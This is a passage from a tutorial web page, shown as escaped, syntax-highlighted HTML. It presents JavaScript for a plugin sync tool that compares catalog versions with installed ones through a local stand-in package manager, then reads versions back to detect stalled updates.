&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (entry.error) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;entry, installed: have?.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null, action: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;error&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;have) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;entry, installed: null, action: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;install&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (have.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; entry.available) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;entry, installed: have.version, action: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;update&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;entry, installed: have.version, action: have.enabled &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;disabled&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; changeable&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (rows) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.action &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;install&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.action &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;update&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Write, then read the version back&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;apply&lt;/code&gt; runs the manager’s commands and then does the thing the manager will not do for you: it re-reads the installed list and compares each row against what the catalog offered. Anything that did not move is &lt;code&gt;stalled&lt;/code&gt;, and &lt;code&gt;stalled&lt;/code&gt; exits non-zero exactly like a failure. Save as &lt;code&gt;sync.mjs&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * check  — diff available against on-disk and print one row per plugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * apply  — write, then READ THE VERSION BACK and compare&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Exit 1 when anything failed or stalled, so a script calling this can tell.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { execFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:child_process&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { fileURLToPath } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:url&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { changeable, classify, findShadows, readCatalog, readInstalled } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./state.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MANAGER &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; fileURLToPath&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;./fake-pm.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; CATALOG &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; fileURLToPath&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;./catalog/catalog.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OVERRIDES &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; fileURLToPath&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;./overrides&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** The one call that reaches the manager for state. Isolated so tests can stub it. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; listInstalled&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; execFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;node&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, [MANAGER, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;list&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], { encoding: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readInstalled&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(out));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; table&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rows, cols) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; head &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cols.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; c.label);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cols.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;-&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; width &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; head.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((h, i) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Math.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(h.length, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r[i].length)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cells) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `| ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;cells&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; c&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;])).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; | &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} |`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;line&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(head), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`|${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;w&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;-&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;repeat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;w&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;|&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}|`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    ...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(line)].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; gather&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; catalog &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readCatalog&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(CATALOG);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;catalog.ok) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(catalog.error);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; installed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; listInstalled&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; classify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ catalog, installed });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { rows, shadows: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findShadows&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(OVERRIDES, rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.name)) };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; reportShadows&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(shadows) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; shadows) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;! ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} is shadowed by ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} - that copy wins regardless of version`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cmdCheck&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { rows, shadows } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; gather&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
